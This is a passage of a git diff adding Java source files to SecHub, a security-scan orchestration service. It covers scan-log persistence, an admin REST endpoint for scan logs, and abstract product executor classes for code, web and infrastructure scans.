com.daimler.sechub.domain.scan.log; + +import java.util.UUID; + +import org.springframework.data.jpa.repository.JpaRepository; + +public interface ProjectScanLogRepository extends JpaRepository, ProjectScanLogRepositoryCustom{ + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepositoryCustom.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepositoryCustom.java new file mode 100644 index 0000000000..73d99d33e8 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepositoryCustom.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.log; + +import java.util.List; + +public interface ProjectScanLogRepositoryCustom { + + List findSummaryLogsFor(String projectId); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepositoryImpl.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepositoryImpl.java new file mode 100644 index 0000000000..5f17902bbc --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogRepositoryImpl.java @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.log; + +import static com.daimler.sechub.domain.scan.log.ProjectScanLog.*; + +import java.util.List; + +import javax.persistence.EntityManager; +import javax.persistence.PersistenceContext; +import javax.persistence.Query; + +public class ProjectScanLogRepositoryImpl implements ProjectScanLogRepositoryCustom{ + + + /* @formatter:off */ + public static final String JPQL_STRING_SELECT_BY_PROJECT_ID= + "select new "+ProjectScanLogSummary.class.getName()+ + "("+ + "l."+PROPERTY_SECHUB_JOB_UUID+","+ + "l."+PROPERTY_EXECUTED_BY+","+ + "l."+PROPERTY_STARTED+","+ + "l."+PROPERTY_ENDED+","+ + "l."+PROPERTY_STATUS+ + ") from "+CLASS_NAME+" l"+ + " where l."+PROPERTY_PROJECT_ID+" = :"+PROPERTY_PROJECT_ID + + " order by l."+PROPERTY_STARTED+" DESC"; + /* @formatter:on */ + + @PersistenceContext + private EntityManager em; + + @SuppressWarnings("unchecked") + @Override + public List findSummaryLogsFor(String projectId) { + if (projectId == null) { + throw new IllegalArgumentException(); + } + Query query = em.createQuery(JPQL_STRING_SELECT_BY_PROJECT_ID); + query.setParameter(PROPERTY_PROJECT_ID, projectId); + + return query.getResultList(); +} +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogService.java new file mode 100644 index 0000000000..75721cefda --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogService.java @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.log; + +import java.time.LocalDateTime; +import java.util.List; +import java.util.Optional; +import java.util.UUID; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.domain.Example; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +@Service +public class ProjectScanLogService { + + @Autowired + ProjectScanLogRepository repository; + + private static final Logger LOG = LoggerFactory.getLogger(ProjectScanLogService.class); + + public UUID logScanStarted(SecHubExecutionContext context) { + String projectId = context.getConfiguration().getProjectId(); + UUID secHubJobUUID = context.getSechubJobUUID(); + String config = context.getConfiguration().toJSON(); + String executedBy = context.getExecutedBy(); + + ProjectScanLog log = new ProjectScanLog(projectId, secHubJobUUID, executedBy, config); + log.setStatus(ProjectScanLog.STATUS_STARTED); + ProjectScanLog persistedLog = repository.save(log); + return persistedLog.getUUID(); + + + } + + public void logScanEnded(UUID logScanUUID) { + logEndedWithStatus(logScanUUID, ProjectScanLog.STATUS_OK); + } + + public void logScanFailed(UUID logUUID) { + logEndedWithStatus(logUUID, ProjectScanLog.STATUS_FAILED); + } + + private void logEndedWithStatus(UUID logScanUUID, String status) { + Optional optLog = repository.findById(logScanUUID); + if (!optLog.isPresent()) { + LOG.error("Cannot update log entry {} because not existing!", logScanUUID); + return; + } + ProjectScanLog log = optLog.get(); + log.setEnded(LocalDateTime.now()); + log.setStatus(status); + repository.save(log); + } + +// public List findAllJobUUIDsForProject(String projectId) { +// return repository.findJobUUIDSForProject(projectId); +// } + + @RolesAllowed(RoleConstants.ROLE_SUPERADMIN) + public List fetchSummaryLogsFor(String projectId) { + return repository.findSummaryLogsFor(projectId); + } + + @RolesAllowed(RoleConstants.ROLE_SUPERADMIN) + public List fetchLogsForJob(UUID sechubJobUUID) { + ProjectScanLog log = new ProjectScanLog(); + log.sechubJobUUID=sechubJobUUID; + + return repository.findAll(Example.of(log)); + } + + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogSummary.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogSummary.java new file mode 100644 index 0000000000..4cbc71fbb5 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ProjectScanLogSummary.java @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.log; + +import java.time.LocalDateTime; +import java.util.UUID; + +public class ProjectScanLogSummary { + + UUID sechubJobUUID; + + String executedBy; + + LocalDateTime started; + + LocalDateTime ended; + + String status; + + public ProjectScanLogSummary(UUID sechubJobUUID, String executedBy, LocalDateTime started, LocalDateTime ended, String status) { + this.sechubJobUUID = sechubJobUUID; + this.executedBy = executedBy; + this.started = started; + this.ended = ended; + this.status = status; + } + + public UUID getSechubJobUUID() { + return sechubJobUUID; + } + + public void setSechubJobUUID(UUID sechubJobUUID) { + this.sechubJobUUID = sechubJobUUID; + } + + public String getExecutedBy() { + return executedBy; + } + + public void setExecutedBy(String executedBy) { + this.executedBy = executedBy; + } + + public LocalDateTime getStarted() { + return started; + } + + public void setStarted(LocalDateTime started) { + this.started = started; + } + + public LocalDateTime getEnded() { + return ended; + } + + public void setEnded(LocalDateTime ended) { + this.ended = ended; + } + + public String getStatus() { + return status; + } + + public void setStatus(String status) { + this.status = status; + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ScanLogRestController.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ScanLogRestController.java new file mode 100644 index 0000000000..5f33057ed0 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/log/ScanLogRestController.java @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.log; + +import java.util.List; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.sharedkernel.APIConstants; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorShowsScanLogsForProject; + +@RestController +@EnableAutoConfiguration +@RequestMapping(APIConstants.API_ADMINISTRATION+"project/{projectId}") // API like https://developer.github.com/v3/issues/labels/#create-a-label +@RolesAllowed({RoleConstants.ROLE_SUPERADMIN}) +public class ScanLogRestController { + + @Autowired + private ProjectScanLogService projectScanLogService; + + + /* @formatter:off */ + @UseCaseAdministratorShowsScanLogsForProject(@Step(number=1,next=2,name="REST API call to get JSON list",needsRestDoc=true)) + @RequestMapping(path = "/scan/logs", method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public List getScanLogsForProject( + @PathVariable("projectId") String projectId + ) { + /* @formatter:on */ + return projectScanLogService.fetchSummaryLogsFor(projectId); + + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractCodeScanProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractCodeScanProductExecutor.java new file mode 100644 index 0000000000..13aa51a0e4 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractCodeScanProductExecutor.java @@ -0,0 +1,84 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.net.InetAddress; +import java.net.URI; +import java.util.Collections; +import java.util.List; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.domain.scan.InstallSetup; +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetRegistry; +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubCodeScanConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubFileSystemConfiguration; + +public abstract class AbstractCodeScanProductExecutor extends AbstractInstallSetupProductExecutor implements CodeScanProductExecutor { + + +private static final Logger LOG = LoggerFactory.getLogger(AbstractCodeScanProductExecutor.class); + + protected List resolveURIsForTarget(SecHubConfiguration config) { + /* SecHubCodeScanConfiguration does not provide target uris */ + return Collections.emptyList(); + } + + @Override + protected List resolveInetAdressForTarget(SecHubConfiguration config) { + /* SecHubCodeScanConfiguration does not provide target IPs */ + return Collections.emptyList(); + } + + /** + * Fetches filesystem folders to scan for - if defined + * @param context + * @return list containing pathes, or empty list, never null + */ + protected List fetchFolders(SecHubConfiguration configuration) { + if (configuration==null) { + return Collections.emptyList(); + } + Optional codeScan = configuration.getCodeScan(); + if (!codeScan.isPresent()) { + return Collections.emptyList(); + } + Optional fileSystem = codeScan.get().getFileSystem(); + if (fileSystem.isPresent()) { + return fileSystem.get().getFolders(); + } + return Collections.emptyList(); + } + + + @Override + protected void customRegistration(UUIDTraceLogID traceLogId, S setup, TargetRegistry registry, + SecHubConfiguration config) { + List folders = fetchFolders(config); + if (folders.isEmpty()) { + return; + } + for (String folder: folders) { + if (folder==null) { + continue; + } + tryToRegister(traceLogId, setup, registry, folder); + } + + } + + private void tryToRegister(UUIDTraceLogID traceLogId, S setup, TargetRegistry registry, String folderPath) { + Target target = targetResolver.resolveTargetForPath(folderPath); + if (!setup.isAbleToScan(target.getType())) { + LOG.error("{}: setup not able to scan target {}", getIdentifier(), target); + return; + } + LOG.debug("{} register scan target:{}", traceLogId, target); + registry.register(target); + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractInfrastructureScanProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractInfrastructureScanProductExecutor.java new file mode 100644 index 0000000000..faded44d1d --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractInfrastructureScanProductExecutor.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.net.URI; +import java.util.List; +import java.util.Optional; + +import com.daimler.sechub.domain.scan.InstallSetup; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubInfrastructureScanConfiguration; + +public abstract class AbstractInfrastructureScanProductExecutor extends AbstractInstallSetupProductExecutor implements InfrastructureScanProductExecutor { + + @Override + protected List resolveURIsForTarget(SecHubConfiguration config) { + /* assert WEBSCAN configuration available */ + Optional infraScan = config.getInfraScan(); + if (!infraScan.isPresent()) { + throw new IllegalStateException("At this state there must be a infrascan setup!"); + } + /* Fetch URI */ + SecHubInfrastructureScanConfiguration infraScanConfiguration = infraScan.get(); + List urls = infraScanConfiguration.getUris(); + if (urls == null) { + throw new IllegalStateException("At this state the URI must be set - validation failed!"); + } + return urls; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutor.java new file mode 100644 index 0000000000..3afc69a742 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutor.java @@ -0,0 +1,215 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.net.InetAddress; +import java.net.URI; +import java.time.LocalDateTime; +import java.util.ArrayList; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; + +import com.daimler.sechub.domain.scan.InstallSetup; +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetRegistry; +import com.daimler.sechub.domain.scan.TargetRegistry.TargetRegistryInfo; +import com.daimler.sechub.domain.scan.resolve.TargetResolver; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +/** + * An abstract product executor implementation which does automatically handle + * identification of targets by install setup. The different target types are + * separated and the + * {@link #executeWithAdapter(SecHubExecutionContext, InstallSetup, TargetRegistryInfo)} + * method will be called for each found target type once.
    + *
    + * Implementations have to handle the execution for a target type and also the + * creation of an {@link InstallSetup}. + * + * @author Albert Tregnaghi + * + * @param + */ +public abstract class AbstractInstallSetupProductExecutor implements ProductExecutor { + + private static final Logger LOG = LoggerFactory.getLogger(AbstractInstallSetupProductExecutor.class); + + @Autowired + protected TargetResolver targetResolver; + + @Override + public final List execute(SecHubExecutionContext context) throws SecHubExecutionException { + UUIDTraceLogID traceLogId = context.getTraceLogId(); + + LOG.debug("Executing {}", traceLogId); + + SecHubConfiguration config = context.getConfiguration(); + S setup = getInstallSetup(); + + TargetRegistry registry = createTargetRegistry(); + + List uris = resolveURIsForTarget(config); + registerURIs(traceLogId, setup, registry, uris); + + List inetAdresses = resolveInetAdressForTarget(config); + registerInetAdresses(traceLogId, setup, registry, inetAdresses); + + customRegistration(traceLogId, setup, registry, config); + + try { + return execute(context, registry, setup); + } catch (SecHubExecutionException e) { + throw e; + } catch (Exception e) { + /* + * every other exception is wrapped to a SecHub execution exception which is + * handled + */ + throw new SecHubExecutionException(getIdentifier() + " execution failed." + traceLogId, e); + } + + } + + protected void customRegistration(UUIDTraceLogID traceLogId, S setup, TargetRegistry registry, SecHubConfiguration config) { + /* do nothing per default*/ + } + + TargetRegistry createTargetRegistry() { + return new TargetRegistry(); + } + + private void registerURIs(UUIDTraceLogID traceLogId, S setup, TargetRegistry registry, List uris) { + if (uris == null || uris.isEmpty()) { + return; + } + for (URI uri : uris) { + Target target = targetResolver.resolveTarget(uri); + if (!setup.isAbleToScan(target.getType())) { + LOG.error("{}: setup not able to scan target {}", getIdentifier(), target); + continue; + } + LOG.debug("{} register scan target:{}", traceLogId, target); + registry.register(target); + } + } + + private void registerInetAdresses(UUIDTraceLogID traceLogId, S setup, TargetRegistry registry, + List inetAdresses) { + if (inetAdresses == null || inetAdresses.isEmpty()) { + return; + } + for (InetAddress inetAdress : inetAdresses) { + Target target = targetResolver.resolveTarget(inetAdress); + if (!setup.isAbleToScan(target.getType())) { + LOG.error("{}: setup not able to scan target {}", getIdentifier(), target); + continue; + } + LOG.debug("{} register scan target:{}", traceLogId, target); + registry.register(target); + } + } + + /** + * Implementation will return the target URIs to use for targets + * + * @param config + * @return uris or null + */ + protected abstract List resolveURIsForTarget(SecHubConfiguration config); + + /** + * Implementation will return the IP adresses to use for targets + * + * @param config + * @return ip adresses or null + */ + protected abstract List resolveInetAdressForTarget(SecHubConfiguration config); + + /** + * Execute the scan by product + * + * @param context + * @param registry + * @param setup + * @return result or null (null means the setup is not able to + * scan) + * @throws SecHubExecutionException + */ + protected List execute(SecHubExecutionContext context, TargetRegistry registry, S setup) + throws Exception /* NOSONAR */ { + List result = new ArrayList<>(); + + /* we handle here automatically all known targets and call the adapters */ + for (TargetType type: TargetType.values()) { + if (!type.isValid()) { + /* not executable*/ + continue; + } + executeAdapterWhenTargetTypeSupported(context, registry, setup, result, type); + } + + return result; + + } + + private void executeAdapterWhenTargetTypeSupported(SecHubExecutionContext context, TargetRegistry registry, S setup, + List result, TargetType targetType) throws Exception { + if (!setup.isAbleToScan(targetType)) { + LOG.debug("{} Setup says its not able to scan target type {} with {}", context.getTraceLogId(), targetType, + getIdentifier()); + return; + } + TargetRegistryInfo registryInfo = registry.createRegistryInfo(targetType); + + if (!registryInfo.containsAtLeastOneTarget()) { + LOG.debug("{} Did not found any IP, URI, or identifier defined for target type '{}' for {}", context.getTraceLogId(), + targetType, getIdentifier()); + return; + } + + LocalDateTime started = LocalDateTime.now(); + List productResults = executeWithAdapter(context, setup, registryInfo); + LocalDateTime ended = LocalDateTime.now(); + + if (productResults != null) { + for (ProductResult pr: productResults) { + pr.setStarted(started); + pr.setEnded(ended); + } + result.addAll(productResults); + } + } + + /** + * At this point the implementation can call the adapter. It is ensured that the + * adapter is able to scan the wanted targets.
    + *
    + * The implementation handles the final execution by adapter and must decide if + * it uses the adapter in a single call for the given target, or make a loop + * call (e.g. when the product is not able to scan multiple URIs or IPs at same + * time ) + * + * @param context + * @param setup + * @param targetData + * @return + * @throws Exception + */ + protected abstract List executeWithAdapter(SecHubExecutionContext context, S setup, + TargetRegistryInfo targetData) throws Exception/* NOSONAR */; + + /** + * Get the install setup which defines the product hosting location and the + * supported target types - this should be injected by spring! + * + * @return install setup, never null + */ + protected abstract S getInstallSetup(); + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractProductExecutionService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractProductExecutionService.java new file mode 100644 index 0000000000..c6ca8567d4 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractProductExecutionService.java @@ -0,0 +1,162 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static com.daimler.sechub.sharedkernel.UUIDTraceLogID.*; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Propagation; +import org.springframework.transaction.annotation.Transactional; + +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +/** + * Abstract base implementation for all product execution services. Service will + * execute registered executors and persist the results automatic + * + * @author Albert Tregnaghi + * + */ +public abstract class AbstractProductExecutionService implements ProductExectionStoreService { + + private static final Logger LOG = LoggerFactory.getLogger(AbstractProductExecutionService.class); + + private List productExecutors = new ArrayList<>(); + + @Autowired + ProductResultRepository productResultRepository; + + /** + * Registers given product executors which shall be executed + * + * @param productExecutors + */ + protected void register(List productExecutors) { + this.productExecutors.addAll(productExecutors); + } + + /** + * Executes product executors and stores results. If a result of an executor is + * null an error will be logged but + * + * @param context + * @throws SecHubExecutionException + */ + public void executeProductsAndStoreResults(SecHubExecutionContext context) throws SecHubExecutionException { + try { + + UUIDTraceLogID traceLogID = traceLogID(context.getSechubJobUUID()); + + SecHubConfiguration configuration = context.getConfiguration(); + if (!isExecutionNecessary(context, traceLogID, configuration)) { + LOG.debug("NO execution necessary by {}", getClass().getSimpleName()); + return; + } + executeAndPersistResults(productExecutors, context, traceLogID); + } catch (RuntimeException e) { + /* catch runtime errors and move and wrapt in SecHubExecutionException */ + throw new SecHubExecutionException("Product execution + store failed unexpected", e); + } + } + + protected abstract boolean isExecutionNecessary(SecHubExecutionContext context, UUIDTraceLogID traceLogID, SecHubConfiguration configuration); + + protected List execute(ProductExecutor executor, SecHubExecutionContext context, UUIDTraceLogID traceLogID) throws SecHubExecutionException { + + LOG.info("Start executor {} and wait for result. {}", executor.getIdentifier(), traceLogID); + + List productResults = executor.execute(context); + int amount = 0; + if (productResults != null) { + amount = productResults.size(); + } + if (LOG.isDebugEnabled()) { + LOG.debug("Product '{}' returned for {} results:\n{}", executor.getIdentifier(), traceLogID, amount); + } + if (LOG.isTraceEnabled()) { + if (amount > 0) { + int pos = 1; + + for (ProductResult result : productResults) { + LOG.trace("Product '{}' returned for {} result {}/{}:\n{}", executor.getIdentifier(), traceLogID, pos++, amount, result); + } + } + } + return productResults; + + } + + /** + * Executes product executors and stores results. If a result of an executor is + * null an error will be logged but + * + * @param executors + * @param context + * @param traceLogID + */ + protected void executeAndPersistResults(List executors, SecHubExecutionContext context, UUIDTraceLogID traceLogID) { + for (ProductExecutor productExecutor : executors) { + List productResults=Collections.emptyList(); + try { + productResults = execute(productExecutor, context, traceLogID); + if (productResults == null) { + getMockableLog().error("Product executor {} returned null as results {}", productExecutor.getIdentifier(), traceLogID); + continue; + } + } catch (Exception e) { + getMockableLog().error("Product executor failed:"+productExecutor.getIdentifier()+" "+traceLogID,e); + + productResults=new ArrayList(); + ProductResult fallbackResult = new ProductResult(context.getSechubJobUUID(),productExecutor.getIdentifier(),""); + productResults.add(fallbackResult); + } + + /* execution was successful */ + for (ProductResult productResult : productResults) { + persistResult(traceLogID, productExecutor, productResult); + } + } + } + + /** + * Persists the result. This wil ALWAYS start a new transaction. So former + * results will NOT get lost if this persistence fails. Necessary for debugging + * and also the later possibility to relaunch already existing sechub jobs! + * Reason: When a former scan did take a very long time and was done. The next + * time another product exeuction fails because of problems inside the security + * infrastructure we do not want to restart all parts again, but only the failed + * / missing ones...
    + *
    + * + * @see https://www.ibm.com/developerworks/java/library/j-ts1/index.html for + * details on REQUIRES_NEW when using ORM frameworks + * @param traceLogID + * @param productExecutor + * @param productResult + */ + @Transactional(propagation = Propagation.REQUIRES_NEW) + public void persistResult(UUIDTraceLogID traceLogID, ProductExecutor productExecutor, ProductResult productResult) { + if (productResult == null) { + getMockableLog().error("Product executor {} returned null as one of the results {}", productExecutor.getIdentifier(), traceLogID); + return; + } + productResultRepository.save(productResult); + } + + /** + * Normally unnecessary, but we want the ability to check log usage in tests + * + * @return log + */ + Logger getMockableLog() { + return LOG; + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractWebScanProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractWebScanProductExecutor.java new file mode 100644 index 0000000000..d58347283a --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/AbstractWebScanProductExecutor.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.net.InetAddress; +import java.net.URI; +import java.util.Collections; +import java.util.List; +import java.util.Optional; + +import com.daimler.sechub.domain.scan.InstallSetup; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubWebScanConfiguration; + +public abstract class AbstractWebScanProductExecutor extends AbstractInstallSetupProductExecutor implements WebScanProductExecutor { + + @Override + protected List resolveURIsForTarget(SecHubConfiguration config) { + /* assert WEBSCAN configuration available */ + Optional webscan = config.getWebScan(); + if (!webscan.isPresent()) { + throw new IllegalStateException("At this state there must be a webscan setup!"); + } + /* Fetch URL */ + SecHubWebScanConfiguration secHubWebScanConfiguration = webscan.get(); + List uris = secHubWebScanConfiguration.getUris(); + if (uris == null) { + throw new IllegalStateException("At this state the URIs must be set - validation failed!"); + } + return uris; + } + + @Override + protected List resolveInetAdressForTarget(SecHubConfiguration config) { + /* SecHubWebScanConfiguration configuration currently has no IPs iniside, so we do not provide this */ + return Collections.emptyList(); + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutionService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutionService.java new file mode 100644 index 0000000000..d4b1da84a6 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutionService.java @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +/** + * Marker interface, necessary for avoiding mockito problem (mockito does also + * inherit abstract parts when directly using classes) + * + * @author Albert Tregnaghi + * + */ +public interface CodeScanProductExecutionService extends ProductExectionStoreService { + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutionServiceImpl.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutionServiceImpl.java new file mode 100644 index 0000000000..79adacbf6b --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutionServiceImpl.java @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.List; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubCodeScanConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +/** + * This service executes all registered {@link WebScanProductExecutor} instances + * and stores those data + * + * @author Albert Tregnaghi + * + */ +@Service +public class CodeScanProductExecutionServiceImpl extends AbstractProductExecutionService + implements CodeScanProductExecutionService { + + private static final Logger LOG = LoggerFactory.getLogger(CodeScanProductExecutionServiceImpl.class); + + @Autowired + public CodeScanProductExecutionServiceImpl(List codescanExecutors) { + register(codescanExecutors); + } + + public boolean isExecutionNecessary(SecHubExecutionContext context, UUIDTraceLogID traceLogID, + SecHubConfiguration configuration) { + Optional codeScanOption = configuration.getCodeScan(); + if (!codeScanOption.isPresent()) { + LOG.debug("No codescan options found for {}", traceLogID); + return false; + } + LOG.debug("Code scan options found {}", traceLogID); + return true; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutor.java new file mode 100644 index 0000000000..75ad990e9c --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/CodeScanProductExecutor.java @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +/** + * Implementations will execute web scan products + * + * @author Albert Tregnaghi + * + */ +public interface CodeScanProductExecutor extends ProductExecutor { + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionService.java new file mode 100644 index 0000000000..1970c5f902 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionService.java @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +/** + * Marker interface, necessary for avoiding mockito problem (mockito does also + * inherit abstract parts when directly using classes) + * + * @author Albert Tregnaghi + * + */ +public interface InfrastructureScanProductExecutionService extends ProductExectionStoreService { + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionServiceImpl.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionServiceImpl.java new file mode 100644 index 0000000000..ed0f8b188f --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutionServiceImpl.java @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.List; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubInfrastructureScanConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +/** + * This service executes all registered {@link InfrastructureScanProductExecutor} instances + * and stores those data + * + * @author Albert Tregnaghi + * + */ +@Service +public class InfrastructureScanProductExecutionServiceImpl extends AbstractProductExecutionService + implements InfrastructureScanProductExecutionService { + + private static final Logger LOG = LoggerFactory.getLogger(InfrastructureScanProductExecutionServiceImpl.class); + + @Autowired + public InfrastructureScanProductExecutionServiceImpl(List webscanExecutors) { + register(webscanExecutors); + } + + public boolean isExecutionNecessary(SecHubExecutionContext context, UUIDTraceLogID traceLogID, + SecHubConfiguration configuration) { + Optional webScanOption = configuration.getInfraScan(); + if (!webScanOption.isPresent()) { + LOG.debug("No infrastructure options found for {}", traceLogID); + return false; + } + LOG.debug("Infrastructure scan options found {}", traceLogID); + return true; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutor.java new file mode 100644 index 0000000000..304f766e18 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/InfrastructureScanProductExecutor.java @@ -0,0 